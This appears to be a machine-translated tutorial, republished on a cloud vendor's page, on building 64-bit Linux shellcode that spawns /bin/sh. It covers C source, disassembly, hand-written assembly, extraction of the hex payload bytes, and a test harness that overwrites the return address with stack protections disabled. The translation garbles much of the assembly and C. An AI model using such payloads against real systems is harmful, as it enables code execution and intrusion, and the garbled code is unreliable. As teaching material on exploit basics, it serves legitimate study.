Introduction to Hacker attack and defense (II.) Shellcode Construction

Source: Internet
Author: User
Tags subq
1. the outline

Shell we all know what it is. The narrow sense of shellcode is a piece of code that can run the shell.

The purpose of constructing a shellcode is to overwrite the Shellcode address with a normal return address when the buffer overflows.

Shellcode are usually placed in the buffer, can also be stored in the heap through the environment variables, or through dynamic memory into the heap area.

Now let's learn how to construct Shellcode.

Note: I am testing and building shellcode under the CentOS 64-bit system, shellcode advanced techniques can support porting to different platforms, but the shellcode built below are not suitable for multi-platform. 2. Shellcode Source Code

Here's the C code for Shellcode.

#include <stdio.h>
#include <unistd.h>

int main (int argc, char *argv[])
{
    char *code[2];
    Code[0] = "/bin/sh";
    CODE[1] = NULL;

    Execve (Code[0], code, NULL);

    return 0;
}

The above code compiled to run can get a shell (command line). Execve is the unix/linux exec function, Linux is generally used fork to create a new process, the exec to execute the new program exec has six functions, of which only Execve is system call, the other five exec functions to call the last Execve. 3. Anti-Assembly

We compile the code above and disassemble it.

Compiling: Gcc-o shellcode shellcode.c
Disassembly: objdump-d shellcode > SHELLCODE.S

SHELLCODE.S is the disassembly code we get, and we just need to focus on the main part:

0000000000400530 <main&gt: 400530:55 push%RBP 400531:48    MOV%rsp,%rbp 400534:48 EC Sub $0X20,%RSP 400538:89 7d EC mov    %edi,-0x14 (%RBP) 40053b:48 E0 mov%rsi,-0x20 (%RBP) 40053f:48 C7 F0 00 06 40       Movq $0x400600,-0x10 (%RBP) 400546:00 400547:48 C7 (F8) Movq $0x0,-0x8 (%RBP) 40054e: 40054f:48 8b F0 mov-0x10 (%RBP),%rax 400553:48 8d 4d F0 Lea- 0x10 (%RBP),%RCX 400557:BA mov $0x0,%edx 40055c:48-CE mov%r Cx,%rsi 40055f:48 C7 mov%rax,%rdi 400562:e8 b9 fe FF FF CALLQ 400420
  ;execve@plt> 400567:B8 mov $0x0,%eax 40056c:c9 leaveq        40056d:c3              RETQ 40056e:66 Xchg%ax,%ax 

Referring to the disassembly code above, we manually rewrite the above shellcode.c in assembly language, as follows:

. section. Text
. Global _start
_start:
jmp     cl
pp:popq%rcx pushq%rbp
mov     %rsp ,%RBP
subq    $0x20,%rsp
movq%rcx    , -0x10 (%RBP)
movq $0x0,-0x8    (%RBP)
mov     $ ,%edx
Lea     -0x10 (%RBP),%rsi
mov     -0x10 (%RBP),%rdi
mov $59     ,
%rax syscall Cl:call pp
. ASCII "/bin/sh"

The above assembly code, which we save as a file: SCODE.S

Shellcode's templates are generally like this:
jmp XXX
Pop xxx
xxxxxxxx
Call Pop Address
. String

A jmp in this and a call that echoes, is a good way for shellcode to get the contents of a string.

To write shellcode, it is necessary to understand the difficulties of the purpose program call Shellcode, the following is the interpretation of the assembly code above:

Shellcode the most troublesome point is to pass the string "/bin/sh" as a parameter, Shellcode is written to the buffer, the location of the code is not fixed, in order to be able to get "/bin/sh" This string, hackers use the call command, Because the first action of the call command is to push the address of the next instruction to the stack, we put the string in the call to push it into the stack. SCODE.S Entrance First instruction: JMP CL #这是跳到cl标签处, aka Call pp. Call PP #将字符串压栈, at the same time return to the top of the PP label POPQ%rcx #将字符串 "/bin/sh" Address deposit RCX (Universal Register), where you can select other registers.

The next three instructions are to create a new stack space:
Pushq%RBP
mov%rsp,%RBP
SUBQ $0x20,%RSP
In the real injected Shellcode code, you can not create this stack, but here demo program in the separate execution, "/bin/sh" string is placed in the code snippet, is not allowed to modify the space, so build the stack to copy the string past.

Movq%RCX, -0x10 (%RBP) #将字符串复制到栈 movq $0x0,-0x8 (%RBP) #创建调用exec时的参数name [1], placing it 0. lea-0x10 (%RBP),%rsi #这是execve第二个参数, it needs the type of * *, so send the address to the RSI with Lea. mov-0x10 (%RBP),%rdi #mov将字符串传给rdi, this is the first parameter execve. mov $59,%rax #这个59是execve的系统调用号, in/usr/include/asm/unistd_64.h can be queried. Syscall #系统调用, this can replace the int 0x80.

No need to consider the return exit, the code is basically no problem, the following to compile and connect.

Compiling: As-o scode.o scode.s
Connection: Ld-o scode SCODE.O
With the Objdump disassembly Scode, the main purpose is to extract binary machine code, in order to facilitate the display, the binary is generally expressed as 16 binary.
Here is a command that can be output directly to the shellcode that can be used in C language:

For I in $ (objdump-d scode | grep "^" |cut-f2); Do echo-n ' \x ' $i; Done

The resulting shellcode code is as follows:

\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00\x00\x00\x00\xba\x00\x00\x00\ X00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68
4. Test Shellcode

Under the C language to write a test Shellcode program:

#include <stdio.h>

unsigned char code[] =  "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
                        \x83\xec\x20\x48\ x89\x4d\xf0\x48 "
                        " \xc7\x45\xf8\x00\x00\x00\x00\xba "
                        " \x00\x00\x00\x00\x48\x8d\x75\xf0 ""
                        \x48\x8b\ x7d\xf0\x48\xc7\xc0\x3b "
                        " \x00\x00\x00\x0f\x05\xe8\xd0\xff ""
                        \xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 "
/*  code is the Shellcode

/void main (int argc, char *argv[]) that we constructed above,
{
    long *ret;
    RET = (long *) &ret + 2;
    (*ret) = (long) code;
}
Because it's a 64-bit system, address is 64-bit wide, so to use a long ret as the first local variable of main, it must be stored in main's stack space, where the long-ret instruction occupies a 64-bit, when the RET address plus 1 (64-bit) The RET arrives at the base address of the stack (RBP), I have analyzed in (a) This article, the return address of the main function is also in the high address above the stack base, it is 64-bit width away from the RBP, so the RET needs to add 2 (2 64 bits) to get to the location where Main's return address is saved. (*ret) = (long) code, it is obvious to use the address of the code to return main address to cover.

In addition, because the system has a stack run protection set, GCC compiles with parameters:-fno-stack-protector-z execstack 5 shellcode.

Shellcode In addition to the shell, there are many different functions, the construction of shellcode there are many different ways, here is just a very basic method.

Modern systems have stack-run protection, and there are ways to bypass these protections.

The answer is yes, the so-called while, outsmart.

The above shellcode does not involve a buffer overflow, nor does it apply to a buffer overflow, for what reason.

And see let's.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.